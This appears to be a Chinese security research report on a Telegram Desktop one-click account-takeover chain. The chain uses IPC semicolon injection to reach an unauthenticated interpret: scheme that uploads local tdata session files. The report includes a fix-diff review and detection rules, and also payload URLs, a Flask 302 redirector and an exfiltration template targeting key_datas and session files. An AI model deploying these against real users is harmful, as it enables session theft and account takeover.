CVE-2026-107181TelegramDesktop一键账户接管"

admin 2026-10-15 11:00:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CVE-2026-107181 Telegram Desktop 一键账户接管

网安之家
网安之家

乌雲安全

2026年10月10日 10:47
重庆

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

CVE-2026-107181 研究报告:Telegram Desktop 一键账户接管(IPC 记录注入链)

研究对象:BeakSec 公开披露的 Telegram Desktop 单实例 IPC 注入漏洞链(CVE-2026-107181,原文 \"Telegram Desktransform: translateY( one-click account takeover via IPC injection\",CC BY 4.0)
审计方法:披露原文全篇精读 + 对 telegramdesktop/tdesktop 官方仓库的独立一手核验(修复提交 db3405699f、v7.2.9 标签、修复前后源码逐行比对)+ OS/Qt 机制推理
报告日期:2026-10-09
写作规范:writing-helper(写给授权红队/蓝队成员的桌面研究报告;正式技术体;事实优先;证据边界显式声明)

证据分级约定:【披露】= 来自 BeakSec 原文(含其对 Telegram 源码的引用);【已核验】= 本报告直接在官方仓库一手确认;【推断】= 基于 Win32/Qt 公开机制的标准推理;【未核验】= 明确标注。全文没有一个未标注的\"事实\"。


0. TL;DR

这不是\"工具\",是一条从一次点击到账户接管的完整漏洞链,两个缺陷首尾相接:

  1. 1. 记录分隔符未转义(IPC 注入):Telegram Desktop 的单实例机制把点击的链接序列化成 OPEN:tg://...; 格式的文本行,经本地 socket 交给已运行实例;已运行实例按分号切割记录。链接值里的分号不被转义——一条指令变多条。一次点击变成一串命令。
  2. 2. 内部 URI scheme interpret: 缺失鉴权(CWE-862):这是 Telegram 官方发布自动化的遗留工具——读一个指令文件,把 file: 指定的任意文件发送到 channel: 指定的频道,不校验调用者、不弹确认。经 OPEN: 可达。

两个缺陷叠加 = 点击一个链接 → 任意本地文件读取 → 文件被传到攻击者的频道。最终目标:tdata/ 里的三件套——默认无本地口令时,读到 key_datas 即可解出 DEK,进而解密会话授权,直接登录受害者账号。

已核验:修复提交 db3405699f8fc3ae28a58d2348b7d13a43c0590a(\"Remove legacy interpret path helper.\",John Preston,2026-09-16)真实存在,diff +126/−372;v7.2.9 中 interpret 在四个核心源文件中残留为 0;新增 EscapeTo7bit/EscapeFrom7bit 百分号转义与\"外部 URL 出现后丢弃本地路径\"的纵深防御。CVSS 8.1(AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N),分量给得诚实。


1. 对象定性:名字里的三层寓意

1.1 先定性

研究对象由三部分组成:披露文章(BeakSec 博客)、漏洞链(CVE-2026-107181)、官方修复(tdesktop commit db3405699f)。没有可下载的\"攻击工具\"——PoC 以叙事形式写在披露文里,载荷就是一行 URL。审计框架因此与扫描器/C2 完全不同:核验链条每一环的代码证据。

1.2 名字寓意(三层解码)

第一层:CVE 编号。CVE-2026-107181——2026 年分配,五位数序号说明当年分配量已过十万(编号空间扩张本身就是近年漏洞生态的注脚)。编号 10-07 才到,晚于发文(10-03)——披露先于编号,这是\"研究者独立披露权\"路径(ZDI 关案后披露权回归作者)的典型时间差。

第二层:interpret: 这个 scheme 名。 它是全链条最有意思的名字:不是黑客起的,是 Telegram 自己起的。interpret = \"解释/执行\",语义是\"解释这份指令文件并执行\"——函数名如实描述了行为的危险程度,危险到名字就是警告。它是官方发布脚本(Telegram/build/updates.py:206,subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath + '/.../command.txt')【披露】)的遗留通道:发版机器人用它把构建产物发到官方频道。作者删它而不是修它——commit 标题 \"Remove legacy interpret path helper\" 里 \"legacy\" 一词就是判决书。

第三层:one-click account takeover。 \"one-click\" 在漏洞分类学里对应 CVSS 的 UI:R(需要用户交互)——标题在告诉你这漏洞的最高门槛就是受害者的一次点击。而账户接管的物证是 tdata 三件套,三个文件名本身就是梗:D877F783D5D3EF8C 这个\"看似随机\"的目录名其实是从字符串 \"data\" 经固定算法派生的全宇宙恒定值(storage_file_utilities.cpp:241-250【披露】)——换个说法:所有 Telegram Desktop 用户的会话文件都在同一条路径上。

1.3 受影响面

项 值
产品 Telegram Desktop(跨平台 Qt 应用)
受影响 ≤ 7.2.8;Windows 6.9.3 上确认【披露】
修复 7.2.9(commit db3405699f,2026-09-16 修复,9-17 发布)【已核验】
CVE CVE-2026-107181(2026-10-07 分配)【披露】
严重度 8.1 High,CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N【披露】

2. 为何诞生:一个\"发布工具\"怎么变成攻击通道

interpret: 的诞生动机是纯粹的工程懒惰红利:Telegram 每次发版要把构建包+更新日志发到官方频道,人肉操作太繁琐,于是写个文本协议(from:/channel:/file:/caption: 四行),让 Telegram 自己解释执行。这个设计在命令行调用的前提下没有问题——能用命令行的攻击者本来就有本机权限,不需要借道。

它的死因是上下文迁移:同一个无鉴权函数,从\"本机运维通道\"被接到了\"网络可达的 IPC 面\",威胁模型瞬间反转。加上单实例 IPC 的分隔符注入作为\"入口导线\",一次点击就能触达。作者在披露文里对这层关系的定性精确到位:\"a dangerous function becomes available from a link the victim clicks\"。

披露时间线(全部【披露】,修复方信息【已核验】):

日期 事件
2026-06-25 经 ZDI 报告
2026-09-16 厂商独立修复(commit db3405699f,作者 John Preston,信息 \"Remove legacy interpret path helper.\")【已核验】
2026-09-17 7.2.9 发布(changelog 只提了一个渲染修复,静默修复)
2026-09-30 ZDI 关案,披露权回归作者
2026-10-03 BeakSec 发文
2026-10-07 CVE-2026-107181 分配

一个值得记录的细节:修复在 ZDI 流程走完前就\"悄悄\"落地,7.2.9 更新日志只字未提安全修复,无 advisory——对用户是提前安全,对研究者是披露权提前回归,两头的博弈都在这张时间表里。


3. 漏洞原理:八层抽丝剥茧

3.1 L1 URI scheme 注册与进程模型——操作系统怎么把链接送到 Telegram

OS 允许程序注册 URI scheme。Telegram Desktop 注册 tg:,此后 Windows 遇到 tg://... 链接就启动(或唤起)Telegram 并把 URL 作为参数传入【披露】。机制层【推断】:注册表 HKEY_CLASSES_ROOT\\tg\\shell\\open\\command 下形如 \"C:\\...\\Telegram.exe\" -- \"%1\" 的映射;浏览器对 tg:// 链接的导航 → shell ShellExecute → CreateProcess 把 URL 塞进新进程命令行。

关键分叉:如果 Telegram 没在运行,新进程自己处理 URL,进程内消化,没有 IPC 面;如果已在运行,OS 不知道也不检查,照样拉起第二个进程——Telegram 必须自己判断\"我是冗余的\",判断方式就是尝试连接本地 socket。连得上 = 有活着的实例 = 把链接交出去然后自杀。

3.2 L2 序列化边界——对象过不了 socket,字节才能

\"socket 不携带对象,只携带字节\"【披露】。新进程内存里的 QUrl 对象必须拍扁成一行文本(序列化)才能过进程边界;运行实例再从文本重建(反序列化)。披露文把要害点得极准:结构化数据跨界时,数据内部的边界不再由结构持有,而降格成了文本里的普通字符。这一降格就是全链路的总根源。

Telegram 的私有格式:每条记录 = 关键字:参数;。链接被包装为:

OPEN:tg://x?a=1;

构造点(sandbox.cpp:295-297【披露】):

for (const auto &url : cRefStartUrls()) {
    commands += u\"OPEN:\"_q + url.toString(QUrl::FullyEncoded) + ';';
}

【已核验】修复前源码中该模式确认存在;修复后对应行为被 EscapeTo7bit 包裹(见 §6.2)。

3.3 L3 记录注入——\"命令注入\"的 IPC 变体

切割点(sandbox.cpp:453-463【披露】,修复前快照实测约 520 行【已核验,行号漂移见 §6.1 脚注】):

for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
    auto cmd = base::StringViewMid(cmds, from, to - from);
    ...
    } else if (cmd.startsWith(u\"OPEN:\"_q)) {
        startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));

注入演示(【披露】原例):

输入链接:  tg://x?a=1;CMD:quit
新进程视角: 一个 URL(分号只是 query 里的普通字符)→ 写入 socket:
OPEN:tg://x?a=1;CMD:quit;
运行实例切割: OPEN:tg://x?a=1   +   CMD:quit     ← 两条记录

缺陷命名学:这是教科书 command injection 的近亲——本报告称之 IPC 记录注入。准确 CWE 归类是 CWE-147(Improper Neutralization of Input Elements for Selecting Commands or Subsequent Text,即\"分隔符未转义\"类)。修复后代码注释自己承认了这个威胁模型:\"the sender failed to escape the record separator and a crafted url smuggled extra records\"【已核验,v7.2.9 sandbox.cpp 注释】。

本报告独立发现的一条补充【已核验】:修复前的记录关键字不止 OPEN:/CMD: 两个,还有:

  • • XDG_ACTIVATION_TOKEN:——base64 解码后 qputenv 写入进程环境变量(Linux 激活令牌);
  • • CTRL:——带 execExternal/响应回写的控制记录。

即注入面比披露文描述的更宽;只是 Windows 攻击链用不上它们。

3.4 L4 无 scheme 过滤的 OPEN: → 内部 scheme 暴露

四个记录关键字里三个无害(CMD: 只收 show/quit,最坏是关掉应用【披露】),OPEN: 收任意 URL 且不过滤 scheme。而 Telegram 内部还藏着一个 OS 不知道的 scheme(application.cpp:1162-1164【披露】;修复前快照实测 1231-1237【已核验】):

if (url.scheme() == u\"interpret\"_q) {
    interprets.append(url.path());
    return false;

它没在 OS 注册协议处理器,只活在 Telegram 自己的启动 URL 分发逻辑里。于是经注入可达:

tg://x?a=1;OPEN:interpret:instructions.txt

3.5 L5 InterpretSendPath——缺失授权的特权动作

这个函数做的事:读指令文件 → 把 file: 指的文件发到 channel: 指的频道(support\_helper.cpp:673-680【披露+已核验,逐字一致】):

QString InterpretSendPath(
        not_null<Window::SessionController*> window,
        const QString &path) {
    QFile f(path);
    if (!f.open(QIODevice::ReadOnly)) {
        return \"App Error: Could not open interpret file: \" + path;
    }
    const auto content = QString::fromUtf8(f.readAll());

没有任何授权检查:不校验 from:(那行只是防发版员用错账号的可选保险,省略即跳过【披露】)、不弹确认框、目标频道任意。从命令行调它无妨(有本机权限者不需要它);从被注入的 IPC 调它,就是网络可达的任意文件外传。第二缺陷定性:CWE-862(Missing Authorization)。

指令文件格式(【披露】原样):

from: 1234567890          ← 可选;省略 = 跳过账号比对
channel: 1987654321        ← 目标频道/超级群
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe   ← 要外传的文件
caption: TDesktop at 12.06.26: ...                ← 消息标题

格式硬约束:纯文本、LF 行尾、无 BOM【披露】——这是写复现与检测规则时的关键指纹。

3.6 L6 文件落盘通道——让受害者的客户端替攻击者投递载荷

interpret: 需要一个磁盘上的指令文件。攻击者怎么把文件放到可预测路径?答案是用 Telegram 自己:

  • • 群组(非广播频道)默认自动下载 ≤ 8 MiB 的文件,不需要受害者点击文件,落盘名 = 发送者起的文件名,路径确定(file\_utilities.cpp:172-181【披露】):
    C:\\Users\\<user>\\Downloads\\Telegram Desktop\\<file name>
  • • 唯一未知量是 Windows 用户名——被相对路径化解:interpret: 接受相对路径,按 Telegram 的工作目录解析,而工作目录是其数据目录(logs.cpp:381【披露】)%APPDATA%\\Telegram Desktop(在用户主目录下三层)。于是:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

不需要知道用户名,路径完全确定。这一层是全链路工程上最优雅的一步:受害者自己的客户端同时充当了\"载荷投递器\"和\"路径预言机\"。注意反例边界【披露】:贴纸/GIF/语音走内部缓存不可达;同名碰撞会变成 instructions1 (2).txt。

3.7 L7 从文件读到账户接管——tdata 密钥包装体系

本地文件读只是原语,真正的目标是会话。Telegram 本地数据全加密,密钥包装结构(【披露】的伪代码):

salt, encrypted_DEK = read(\"tdata/key_datas\")
passcode            = user_passcode()          # 未设置则为空
KEK     = KDF(passcode, salt)
DEK     = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)

致命默认:本地口令默认未设置(storage\_domain.cpp:102【披露】),KDF 输入是空串+盐,而盐明文躺在 key_datas 里。所以:

读到 key_datas ⇒ 重算 KEK ⇒ 解出 DEK ⇒ 解密一切 ⇒ 含会话授权

三件套(【披露】原样):

tdata/
├── key_datas                  盐 + 加密的 DEK        ← 读它一个就够
├── D877F783D5D3EF8Cs          MTProto 会话授权(DEK 加密)
└── D877F783D5D3EF8C/
    └── maps                   数据索引(无密文,但缺了会话加载不出来)

D877F783D5D3EF8C 是从默认数据名 \"data\" 派生的恒定值(storage\_file\_utilities.cpp:241-250【披露】)——所有安装一致,路径预言机再+1。maps 只是索引,攻击者也可以自造;PoC 里顺手一起偷,图省事。集齐三件 → 放进新 tdata → 启动 → 受害者的会话在攻击者机器上打开,等价于网站会话 cookie 被偷。

3.8 L8 交付链——为什么是\"https 链接 + 302\"

最后一个工程问题:tg:// 链接不能在 Telegram 聊天里点(进程内处理,click\_handler\_types.cpp:278【披露】),根本到不了 socket。解法:发普通 https:// 链接(Telegram Desktop 无内嵌浏览器,走系统浏览器,ui\_integration.cpp:437【披露】),攻击者服务器 302 跳转到构造好的 tg:// 链接:

GET /rules HTTP/1.1
Host: corvus.sec

HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt

浏览器可能弹一次\"打开 Telegram?\"确认(取决于浏览器与是否用过该 handler)——这就是 CVSS 里 UI:R 的一次点击成本。

完整链条图:

[1] 攻击者建群+拉受害者入群(默认隐私设置允许)
[2] 群里发 3 个指令文件(自动下载落盘,无需点击)
[3] 群里发 https://corvus.sec/rules
[4] 受害者点击 → 浏览器 → 302 → tg://x?a=1;OPEN:interpret:...×3
[5] OS 拉起第二进程 → 单实例 socket 移交 → 分号切割 → 注入生效
[6] 3×InterpretSendPath → tdata 三件套上传到攻击者频道(无确认框)
[7] 攻击者重组 tdata → 登录受害者账号

4. 操作系统调用层分析(Windows 为主)

披露原文停在 Qt API 层,本节把链条映射到 OS 原语【推断——基于 Win32/Qt 公开机制,未做动态取证,复现时以 Sysmon/Procmon 实测为准】:

链条动作 Qt 层 Windows OS 调用 观测点
tg:// 链接启动进程 QDesktopServices /shell 协议注册 注册表 HKCR\\tg\\shell\\open\\command → ShellExecuteEx → CreateProcess(URL 在命令行参数里,Sysmon EID 1 可见) 进程创建事件:命令行含 tg:// 且父进程为浏览器
第二进程探活 QLocalServer/QLocalSocket (Windows 实现 = 命名管道) CreateNamedPipe / CreateFile(\\\\.\\pipe\\...) + ReadFile/WriteFile 管道句柄打开;ETW/Procmon 可见跨进程管道流量
链接序列化写入 QIODevice::write 同上 WriteFile 管道单次写入含 OPEN: 前缀与未转义分号
读指令文件 QFile::open(ReadOnly) CreateFile + ReadFile(目标在 Downloads\\Telegram Desktop\\) 文件读取时序:下载后数秒内被 Telegram 自身读取
相对路径解析 工作目录 = 数据目录(logs.cpp:381【披露】) GetCurrentDirectory 语义按进程 CWD 展开 ../.. 目录遍历无 OS 阻断(相对路径不出盘符)
文件自动落盘 下载管理器写盘 CreateFile (Downloads\\Telegram Desktop\\)+ WriteFile EID 11(文件创建):群文件落地即告警点
会话外传 MTProto 会话经 TLS 长连接 WSASend (已有连接复用,无新建 socket 特征) 上传流量突变:三小文本文件在点击后秒级上行

两个安全机制为何没拦住:cwd 相对路径在 Win32 层面是完全合法的目录遍历(不触碰盘符根,不触发符号链接防护);命名管道是同用户会话内进程间通信,默认 ACL 下同完整性级别的 Telegram 两个进程互通无阻——沙箱边界从设计上就不存在于\"自己和自己\"之间。


5. 漏洞类型与 CVSS 审视

CWE 归类(本报告裁定):

缺陷 CWE 说明
分隔符未转义 CWE-147 (记录/命令选择元素未中和) 注入本体;博主称 \"command injection\" 的 IPC 变体
interpret: 无鉴权 CWE-862 (Missing Authorization) 特权函数无调用者校验
组合后果 CWE-200 级(信息泄露)→ CWE-284(访问控制) 文件读→凭据窃取→账户接管

CVSS 3.1 = 8.1(AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)——逐分量裁定:

  • • AV:N ✓:入口是网络链接(点击行为,非本机)。
  • • AC:L ✓:无竞态、无特殊配置依赖,全默认设置即可打。
  • • PR:N ✓:不需要任何凭据。
  • • UI:R ✓:需要一次点击——诚实扣在这里。
  • • S:U ✓:影响限于受害者本人权限域。
  • • C:H ✓:任意文件读 + 会话文件 = 高机密性损失。
  • • I:H ✓:账户接管 = 攻击者以受害者身份发言/操作——完整性损失实打实。
  • • A:N ✓:不破坏可用性——诚实(对比上份报告里 mysqldump 8.8 的 C:H/I:H 争议,这次的分量给得干净)。

6. 源码审计:修复 diff 逐行点评(一手核验)

6.1 核验过程与行号脚注

本报告直接从官方仓库拉取修复提交的父提交(db3405699f^)与 v7.2.9 标签源码比对【已核验】。披露文引用的行号与修复前快照存在小幅漂移(sandbox.cpp 453→约520、application.cpp 1162→1231;support\_helper.cpp 673 完全一致)——披露作者看的是另一版快照,代码内容逐字一致,不影响结论。

修复提交变更面:application.cpp(+2/−7)、sandbox.cpp(+114/−25)、sandbox.h(+5/−1)、mainwidget.*、mainwindow.*(interpret 分发移除),合计 +126/−372;interpret 在四个核心文件中归零【已核验】。

6.2 修复一:记录转义(对症 CWE-147)

新增 EscapeTo7bit/EscapeFrom7bit(v7.2.9 sandbox.cpp:67-108【已核验】):

[[nodiscard]] QString EscapeTo7bit(const QString &value) {
    ...
    if (code < 32 || code > 127 || ch == QChar('%') || ch == QChar(';')) {
        result.append('%');
        result.append(HexDigit(code >> 12));   // 4 位 hex,Unicode 码点级
        ...

三个值得点评的实现决策:

  1. 1. ; 与 % 同时转义——只转义分隔符会留下解码歧义(攻击者预放 %3B 可在解码后重新变成分号),转义转义符本身是编码注入修复的标准姿态;
  2. 2. 4 位定长 hex(而非变长 %XX)——Unicode 码点无歧义还原,surrogate 对也安全;
  3. 3. 控制字符一并转义(code < 32)——顺手封死 \ 类二次注入。

写侧:\"OPEN:\" + EscapeTo7bit(url...) + ';'(sandbox.cpp:416);读侧:urls.append(EscapeFrom7bit(cmd.mid(5)).mid(0, 8192))(sandbox.cpp:601)。8192 上限保留——原有截断语义不变。

6.3 修复二:删除 interpret:(对症 CWE-862)

InterpretSendPath 及 interpret 分发整体移除(\"Remove legacy interpret path helper\")——不修死,直接埋葬。对\"内部遗留工具被网络化\"类缺陷,这是唯一正解:任何\"加白名单/加确认框\"的修法都会在未来的上下文迁移中再死一次。

6.4 修复三/四:纵深防御(超出披露要求的加分项)

v7.2.9 sandbox.cpp:613-631【已核验】,含作者注释:

} else if (cmd.startsWith(u\"CTRL:\"_q)) {
    if (hasOpen) {
        continue;                       // 同连接混入 OPEN: 时丢弃 CTRL:
    }
    ...
// A link launch carries a single non-file url and a send-files
// launch carries only local paths, so a connection mixing both
// means the sender failed to escape the record separator and a
// crafted url smuggled extra records. ...
for (constauto &url : urls) {
    if (!url.isLocalFile()) {
        i->externalUrlReceived = true;
    }
}
...
if (i->externalUrlReceived && url.isLocalFile()) {
    LOG((\"Sandbox Warning: local file dropped, ...\"));  // 外部 URL 出现后,本地路径永久丢弃
    continue;

注释把不变量写明白了:正常启动要么单外链、要么纯本地路径,混合出现 = 分隔符被走私。这是把\"协议不变量监控\"做成了运行时防线——即使未来再出现转义旁路,注入产物也到不了文件路径参数。安全工程里少见的自我怀疑式防御,值得抄进任何多记录 IPC 协议的设计规范。

6.5 审计结论

修复四件套(转义 + 删除 + CTRL 门禁 + 本地路径丢弃)构成\"对症 + 根治 + 两层纵深\"的完整闭环,质量高于一般厂商补丁。遗留面:XDG_ACTIVATION_TOKEN: 记录仍是 base64→环境变量注入(本报告发现,披露未提),修复未动它——Linux 场景的后续观察点。


7. 前世今生:同类谱系与历史定位

IPC/协议处理器注入家族:桌面应用自定义 scheme(tg:///slack:///zoommtg:///steam://)作为\"浏览器→本地应用\"桥,近十年的经典缺陷类是命令行参数注入(scheme 值未转义拼进命令行)与单实例移交注入(本次即此类)。检索关键词:custom URL protocol handler argument injection、single-instance IPC injection。本例的特殊性在于第二跳:注入点后面接的不是\"参数注入进子命令\",而是一个货真价实的特权内部功能。

\"遗留内部功能被网络化\"家族:debug 接口、发布通道、运维后门被接到可达面——Redis 未授权写、Jenkins CLI、devtools 端口。interpret: 是这个家族里少见的\"以 URI scheme 形态存在\"的样本。

本地会话凭据窃取家族:浏览器 Cookie 数据库(DPAPI 解密)、SSH agent 转发滥用、Telegram tdata——本链属于最后者,且是远程化版本:传统 tdata 窃取需要本机落地(红队后渗透),这条链把它变成\"一次点击的远程攻击\"。这是它在 MITRE ATT&CK 里的定位【本报告映射,推断】:

ATT&CK 技术 编号 对应链条环节
Phishing: Spearphishing Link T1566.002 https 链接 + 302
Command and Scripting Interpreter(IPC 记录注入变体) T1059 类比 分号走私
Unsecured Credentials: Credentials in Files T1552.001 tdata 三件套
Credentials from Password Stores T1555 key\_datas/DEK 解包
Exfiltration Over C2 Channel T1041 经 MTProto 会话外传到攻击者频道

8. 落地实网攻防

8.1 红队(授权演练视角)

  • • 前置:自建频道/超级群 + 302 服务器;目标使用 ≤7.2.8 且群组自动下载默认开启。
  • • 与钓鱼框架的接缝:Gophish/GoMet 类框架的 302 跳转模块原生支持本链——把 Location: 换成构造 URL 即可;GoPhish 的邮件场景同样适用。
  • • 目标变体(同一原语换 file: 行):SSH 私钥、浏览器凭据库、云 CLI 凭据(~/.aws/credentials)、CI token 配置。
  • • 纪律:仅授权环境;链路含真实账户接管,演练需书面授权与演练后凭证吊销流程。

8.2 蓝队

检测点(对应 §4 表):

    1. Sysmon EID 1:浏览器进程创建 Telegram.exe 且命令行含 tg:// 且 URL 带 %3B/未编码分号序列——强 IOC;
    1. Sysmon EID 11:Downloads\\Telegram Desktop\\ 落地 .txt 且秒级被 Telegram 进程读取(EID 10/进程+文件访问);
    1. 管道异常:Telegram 进程间单实例管道上的多记录写入(Procmon Filter: Path contains \\pipe\\ + Telegram.exe);
    1. 网络侧:点击后秒级、小体积、多对象的 MTProto 上行突发;
    1. 终态 IOC:陌生设备登录告警(会话被克隆的必然残留)。

加固四条(披露原文的缓解排序,本报告认可):

  1. 1. 升级 ≥7.2.9——唯一根治;
    1. 开启\"每个文件询问保存位置\"——自动下载整体关闭,指令文件落不了地(升级前最有效);
    1. 群组隐私设为\"仅联系人可拉群\"——外传目的地(频道/超级群)不受影响,但收件入口被锁;
  2. 4. 设置本地口令且当真密码用——文件照样被偷,但 KEK 推导失效,偷到的会话是密文废纸(披露原话:\"it only makes the stolen session unusable\")。

应急响应(已中招):所有活跃会话终止(Settings→Devices→Terminate)+ 两天内重置口令(Telegram 两步验证重置会踢会话)+ 排查外传目标频道内容。


9. 冷门但准确无误的命令语法(本链条相关面)

语法 冷知识
start \"\" \"tg://x?a=1\" Windows 手动触发 scheme;空标题参数不能省,否则第一个引号串被当窗口标题
reg query HKCR\\tg\\shell\\open\\command /ve 查看 scheme→exe 映射与参数模板(%1 位置决定注入面)
reg query \"HKCU\\Software\\Classes\\tg\" 用户级注册可能覆盖机器级——排查劫持点
Get-ChildItem \\\\.\\pipe\\ (PowerShell) 枚举命名管道;Telegram 单实例管道可在多实例实验中直接观察
pipelist64.exe (Sysinternals) 同上,带句柄计数
curl -sI https://host/path 验证 302 链路,Location: 头即载荷——红队自检/蓝队巡检两用
%20 URL FullyEncoded 空格——Telegram%20Desktop 路径写法的出处(QUrl::FullyEncoded 语义)
%3B 分号的百分号编码——检测规则里识别\"试图走私分号\"的指纹
`printf 'channel: ...\
file: ...\
' unix2dos`
wmic process where \"name='Telegram.exe'\" get commandline 无 Sysmon 时的快速命令行审计
$env:APPDATA\\Telegram Desktop\\tdata tdata 默认位置(PowerShell);蓝队资产盘点入口
Sysmon EID 1/3/11 进程创建/网络连接/文件创建——本链三大观测点
Get-Content key_datas -Encoding Byte -TotalCount 16 鉴别 tdata 文件魔数(防御盘点用,勿外传)

10. Cheatsheet:命令配方(参数 = 可编程功能模块)

10.1 模块映射总表

功能模块 旋钮 语义
载荷体 tg:// 链接的记录序列 每个分号 = 一条指令的分界
载荷内容 OPEN: 后的 URL(≤8192 字符截断) scheme 决定行为(http/interpret/…)
外传指令 instruction 文件四字段 from: (可省)/channel:/file:/caption:
投递器 受害者客户端自动下载(群组 ≤8MiB、原名落盘) 文件名 = 路径预言机
路径归一 相对路径 + 工作目录=数据目录 ../../../Downloads/... 免用户名
触发器 302 Location: https→tg:// 的桥
格式约束 LF、无 BOM、纯文本 指令文件解析前提
检测面 Sysmon 1/3/11 + 管道 + MTProto 上行 蓝队三件套

10.2 配方(授权研究语境)

R1 · 防御侧版本与暴露面盘点

# 受害主机快速体检(防御用途)
(Get-Item \"$env:APPDATA\\Telegram Desktop\\Telegram.exe\" -EA SilentlyContinue).VersionInfo.ProductVersion
reg query HKCR\\tg\\shell\\open\\command /ve
Test-Path \"$env:APPDATA\\Telegram Desktop\\tdata\\key_datas\"   # 存在即默认口令风险面

R2 · scheme 链路自检(红蓝通用)

start \"\" \"tg://x?a=1\"          # 观察: 已运行实例被唤起/新进程秒退
wmic process where \"name='Telegram.exe'\" get commandline,creationdate
# 防御判定: 命令行含完整 URL  = 单实例移交机制在位(7.2.9 前后均如此)

R3 · 注入载体格式验证(不发真实指令文件)

无害探针(对测试机): tg://x?a=1;CMD:show
# 7.2.8: 实例被激活(show 窗口前置) → 证明分号走私生效
# 7.2.9+: 转义后整串作为 URL 处理 → 无前置行为

R4 · 指令文件格式校验器(复现前自检)

f=instructions.txt
file \"$f\" | grep -q BOM && echo \"FAIL: 有BOM\"
od -c \"$f\" | grep -q '\\\\r'  && echo \"FAIL: CRLF\"
head -c4 \"$f\" | od -An -tx1 | grep -q 'ef bb bf' && echo \"FAIL: UTF-8 BOM\"
grep -E '^(channel|file|caption):' \"$f\" >/dev/null && echo OK

R5 · 302 投递器(5 行 Flask)

from flask import Flask, redirect
app = Flask(__name__)
PAYLOAD = \"tg://x?a=1\" + \"\".join(
    f\";OPEN:interpret:../../../Downloads/Telegram%20Desktop/{n}.txt\"
    for n in (\"instructions1\",\"instructions2\",\"instructions3\"))
@app.route(\"/rules\")
def r(): return redirect(PAYLOAD, 302)
app.run(\":443\", ssl_context=(\"cert.pem\",\"key.pem\"))

R6 · Sysmon 检测规则(核心两条)

<!-- EID1: 浏览器拉起 Telegram 且 URL 含走私分号 -->
<RuleGroup name=\"\" groupRelationship=\"or\">
  <ProcessCreate onmatch=\"include\">
    <Image condition=\"end with\">Telegram.exe</Image>
    <CommandLine condition=\"contains\">tg://</CommandLine>
  </ProcessCreate>
</RuleGroup>
<!-- EID11: Telegram Desktop 下载目录新建 .txt -->
<FileCreate onmatch=\"include\">
  <TargetFilename condition=\"contains\">Downloads\\Telegram Desktop\\</TargetFilename>
  <FileExtension condition=\"is\">txt</FileExtension>
</FileCreate>

R7 · 管道流量取证

Get-ChildItem \\\\.\\pipe\\ | Where-Object Name -match telegram
# Procmon: Filter Path contains \\pipe\\, Operation = WriteFile → 双进程移交现场

R8 · 多目标堆叠模板(授权演练,3 文件版)

载荷 = \"tg://x?a=1\"
     + \";OPEN:interpret:../../../Downloads/Telegram%20Desktop/ins1.txt\"
     + \";OPEN:interpret:../../../Downloads/Telegram%20Desktop/ins2.txt\"
     + \";OPEN:interpret:../../../Downloads/Telegram%20Desktop/ins3.txt\"
ins1: file: ../../../tdata/key_datas        ← 相对数据目录自身的相对路径亦可(待实测)
ins2: file: ../../../tdata/D877F783D5D3EF8Cs
ins3: file: ../../../tdata/D877F783D5D3EF8C/maps
channel: <授权接收频道>

R9 · 溢出边界测试(8192 截断行为)

长路径探针: tg://x?a=1;OPEN:interpret: + 'A'*8300 + '.txt'
判定: >8192 段被 mid(0,8192) 截断 → 路径失效 → 无文件读取
用途: 验证修复/检测规则时排除超长路径假阳性

R10 · 应急处置剧本(已中招)

# 1. 受害者全端下线该账号 → Settings → Devices → Terminate all other sessions
# 2. 两步验证口令重置(触发全会话失效)
# 3. 排查上传: 受害者账号的 Sent/频道历史中是否存在 caption=poc 类小文件消息
# 4. 终端侧: 检查 Downloads\\Telegram Desktop 下 instruction*.txt 与创建时间线

R11 · 蓝队 IOC 速查

- Telegram.exe < 7.2.9                          → 版本盘
- 命令行含 tg:// 且含未编码 ';'                  → 注入尝试
- Downloads\\Telegram Desktop\\*.txt 秒读          → 指令文件落地
- 点击后秒级 3-6 KB×N 上行                        → 外传突发
- 陌生地域会话登录                                → 接管终态

R12 · 复现实验台(无受害者,本地双实例)

1. 测试机装 6.9.3(披露确认版本)+ 测试账号 A/B
2. A 建 supergroup 拉 B;A 发 3 个指令文件(channel=A 的群, file=无害占位文件)
3. B 侧开启 Procmon(管道+文件过滤) → B 点 302 链接
4. 观测: 管道 WriteFile 记录序列 / instructions*.txt 的 CreateFile+ReadFile 对
5. 全程录屏留证; 结束后 Terminate 全部会话

11. AI 辅助头脑风暴与多版本对比

11.1 投递渠道对比(触发器模块选型)

渠道 UI 成本 可达性 检测暴露 裁定
https→302→tg:// ★披露采用 1 点击 + 可能的浏览器确认 任何聊天窗口 302 日志 + EID1 最优通用解
邮件正文直发 tg:// 1 点击 邮件客户端→浏览器路径不一 邮件网关可拦 tg:// 备选
网页内 `` 1 点击 与 302 等价但需落地页 同 302 等价
二维码(线下场景) 扫码 物理场景 无浏览器日志 特定场景

11.2 修复方案四选一(若不删除 interpret:)

方案 对症 残余风险 裁定
分隔符转义 ★采纳(EscapeTo7bit) CWE-147 解码歧义需转义 '%' 防护(已做) 必要非充分
scheme 白名单(只放 http/https) 入口收窄 内部 scheme 仍无鉴权,等下一次暴露 不彻底
敏感操作确认框 补 UI:R 环节 弹窗疲劳 治标
整体删除 interpret: ★采纳 根治 CWE-862 发布脚本需换通道(一次性成本) 唯一正解

官方实际交付 = 删除 + 转义 + 两层纵深——四选二再加保险,这是该补丁值得进教科书的原因。

11.3 AI 辅助在本报告生产中的价值与翻车记录

  • • 放大深度:EscapeTo7bit \"为什么连 % 一起转义\"的解码歧义分析、XDG\_ACTIVATION\_TOKEN 补充发现、修复注释的不变量翻译——机器辅助把 diff 读出了三层。
  • • 必须人工把关的证据:所有【已核验】项均以官方仓库一手源码为准;披露文行号漂移(453→520 等)由交叉比对发现——引用披露文的行号而不核对源码,报告就会带着别人的偏差。

12. 问题分析、任务拆解、方案迭代与代码交付复盘

